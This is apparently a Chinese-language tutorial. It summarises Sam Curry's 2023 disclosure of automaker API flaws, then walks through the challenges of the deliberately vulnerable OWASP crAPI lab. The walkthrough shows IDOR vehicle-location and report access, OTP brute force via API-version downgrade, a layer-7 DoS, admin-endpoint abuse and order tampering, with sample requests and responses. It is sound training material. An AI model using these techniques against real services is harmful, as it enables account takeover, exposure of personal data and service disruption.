序言
忽视API安全所造成的的安全风险
2023年1月3日Sam Curry领导的研究团队披露了将近20家汽车制造商和服务包含API安全漏洞,这些漏洞可能允许黑客执行恶意活动,从解锁、启动和跟踪汽车到暴露客户的个人信息。这些安全漏洞影响了知名品牌,包括宝马、劳莱斯、梅赛德斯-奔驰、法拉利、保时捷、捷豹、路虎、福特、起亚、本田、英菲尼迪、日产、讴歌、现代、丰田和创世纪。
漏洞摘要
- 完全远程锁定、解锁、发动机启动、发动机停止、精确定位、闪光灯和仅使用 VIN 号的车辆鸣喇叭
- 通过 VIN 号码(姓名、电话号码、电子邮件地址、实际地址)进行完全远程帐户接管和 PII 披露
- 能够将用户锁定在远程管理他们的车辆之外,改变所有权
- 特别是对于起亚,我们可以远程访问 360 度摄像头并查看汽车的实时图像
-
奔驰
- 通过配置不当的 SSO 访问数百个关键任务内部应用程序,包括……
- SSO 背后的多个 Github 实例
- 公司范围内的内部聊天工具,能够加入几乎任何频道
- SonarQube,詹金斯,杂项。搭建服务器
- 用于管理 AWS 实例的内部云部署服务
- 内部车辆相关 API
- 多个系统上的远程代码执行
- 内存泄漏导致员工/客户 PII 泄露、帐户访问
起亚、本田、英菲尼迪、日产、讴歌
现代、创世纪
- 完全远程锁定、解锁、发动机启动、发动机停止、精确定位、闪光灯和仅使用受害者电子邮件地址的喇叭车辆
宝马、劳斯莱斯
- 公司范围内的核心 SSO 漏洞使我们能够像任何员工一样访问任何员工应用程序,使我们能够……
- 访问内部经销商门户,您可以在其中查询任何 VIN 号码以检索 BMW 的销售文件
- 代表任何员工访问锁定在 SSO 后面的任何应用程序,包括远程工作人员和经销商使用的应用程序
法拉利
- 任何法拉利客户帐户的完全零交互帐户接管
斯皮龙
- 多个漏洞,包括:
- 拥有对全公司管理面板的完全管理员访问权限,能够向大约 1550 万辆汽车发送任意命令(解锁、启动引擎、禁用启动器等)、读取任何设备位置以及刷新/更新设备固件
- 在用于管理用户帐户、设备和车队的核心系统上执行远程代码。能够访问和管理整个 Spireon 的所有数据
- 完全接管任何车队的能力(这将使我们能够跟踪和关闭许多不同大城市的警察、救护车和执法车辆的启动器,并向这些车辆发送命令,例如“导航到此位置”)
- 对所有 Spireon 产品的完全管理权限,包括以下……
- 金星 - https://www.spireon.com/products/goldstar/
- LoJack - https://www.spireon.com/products/goldstar/lojackgo/
- FleetLocate - https://www.spireon.com/products/fleetlocate-for-fleet-managers/
- NSpire - https://www.spireon.com/spireon-nspire-platform/
- 预告片和资产 - https://www.spireon.com/solutions/trailer-asset-managers/
- 总共有……
- 1550 万台设备(主要是车辆)
- 120 万个用户帐户(最终用户帐户、车队经理等)
福特
- 量产车 Telematics API 的完整内存泄露
- 披露客户 PII 和访问令牌,以便在车辆上跟踪和执行命令
- 公开用于与远程信息处理相关的内部服务的配置凭证
- 能够对客户帐户进行身份验证并访问所有 PII 并对车辆执行操作
复活者
- 完全超级管理访问权限,可以管理所有 Reviver 连接车辆的所有用户帐户和车辆。攻击者可以执行以下操作:
- 跟踪物理 GPS 位置并管理所有 Reviver 客户的车牌(例如,将车牌底部的标语更改为任意文本)
- 将任何车辆状态更新为“STOLEN”,更新车牌并通知当局
- 访问所有用户记录,包括人们拥有的车辆、他们的实际地址、电话号码和电子邮件地址
- 访问任何公司的车队管理功能,定位和管理车队中的所有车辆
保时捷
- 能够通过影响车辆远程信息处理服务的漏洞发送检索车辆位置、发送车辆命令和检索客户信息
丰田
- 丰田金融的 IDOR,披露任何丰田金融客户的姓名、电话号码、电子邮件地址和贷款状态
捷豹、路虎
- 用户帐户 IDOR 泄露密码哈希、姓名、电话号码、实际地址和车辆信息
SiriusXM 联网车辆服务
- 泄漏的 AWS 密钥具有完整的组织读/写 S3 访问权限,能够检索所有文件,包括(似乎是)用户数据库、源代码和 SiriusXM 互联车辆服务的配置文件
靶场安装
我们言归正传,开始我们的主题内容《靶场实测》。
curl -o docker-compose.yml https://raw.githubusercontent.com/OWASP/crAPI/develop/deploy/docker/docker-compose.yml
VERSION=develop docker-compose pull
VERSION=develop docker-compose -f docker-compose.yml --compatibility up -d
靶场实测
首先打开靶场
http://localhost:8888/login
挑战 1 - 访问其他用户车辆的详细信息
注册一个邮箱为test@test.com
,密码为1qaz@WSX
的用户
会看到回显了车辆的经纬度
{"carId":"db0126ae-e7eb-42c6-87a2-76e5ab3ed5b0","vehicleLocation":{"id":1,"latitude":"33.7967129","longitude":"-84.3909149"},"fullName":"test"}
那么我们尝试修改vehicle
后面的ID值,再次发包会不会可以获取到其他车辆的经纬度信息。
/identity/api/v2/vehicle/db0126ae-e7eb-42c6-87a2-76e5ab3ed5b0/location
点击社区并抓包,可以看到存在其他用户
vehicleid值
[{"id":"qwWAGHstR4ir6eAzteeDh6","title":"Title 3","content":"Hello world 3","author":{"nickname":"Robot","email":"robot001@example.com","vehicleid":"1d1a3f59-4b46-4ff5-a1d4-517768fa3d43","profile_pic_url":"","created_at":"2023-02-06T08:38:27.917Z"},"comments":[],"authorid":3,"CreatedAt":"2023-02-06T08:38:27.917Z"},{"id":"Fw3zFFyJWquZKDyUL9Ga8n","title":"Title 2","content":"Hello world 2","author":{"nickname":"Pogba","email":"pogba006@example.com","vehicleid":"3359dd8d-6edf-4a35-88b6-08171e96829a","profile_pic_url":"","created_at":"2023-02-06T08:38:27.915Z"},"comments":[],"authorid":2,"CreatedAt":"2023-02-06T08:38:27.915Z"},{"id":"tYMxYMqZBaJKdeCUtvFEVV","title":"Title 1","content":"Hello world 1","author":{"nickname":"Adam","email":"adam007@example.com","vehicleid":"56a68c3f-683d-44ef-8219-89c458992b8f","profile_pic_url":"","created_at":"2023-02-06T08:38:27.906Z"},"comments":[],"authorid":1,"CreatedAt":"2023-02-06T08:38:27.906Z"}]
只要输入其他用户的vehicleid
值即可在响应中获取到其他用户的车辆经纬度和用户名等信息。
挑战 2 - 访问其他用户的维修报告
http://localhost:8888/workshop/api/mechanic/mechanic_report?report_id=1,修改链接后面的report_id
值即可查看其他车辆的报修信息。
挑战 3 - 重置不同用户的密码
车辆经纬度信息泄露中我们点击社区响应包里面可以看到其他用户的邮箱地址。
POST /identity/api/auth/v2/check-otp把V3
修改为V2
进行爆破。
挑战 4 - 找到泄露其他用户敏感信息的 API 端点
/community/api/v2/community/posts/recent
挑战 5 - 找到泄漏视频内部属性的 API 端点
conversion_params,然后可以利用这个参数名进行命令执行,没复现成功命令执行。
挑战 6 - 使用“接触机械”功能执行第 7 层 DoS
repeat_request_if_failed修改为true
,number_of_repeats
修改成大数值。
Service unavailable. Seems like you caused layer 7 DoS :
挑战 7 - 删除其他用户的视频
PUT修改为DELETE
提示这是一个管理接口
user修改为admin
DELETE /identity/api/v2/admin/videos/30 HTTP/1.1
挑战 8 - 免费获得一件物品
购买完商品然后点击查看,可以看到一件商品,
尝试修改,成功修改商品数量
挑战 9 - 将余额增加 1,000 美元或更多
然后修改商品状态
s-s-rF
mechanic_api参数
在线靶场和参考答案
参考:
https://www.bleepingcomputer.com/news/security/toyota-mercedes-bmw-api-flaws-exposed-owners-personal-info/
https://samcurry.net/web-hackers-vs-the-auto-industry/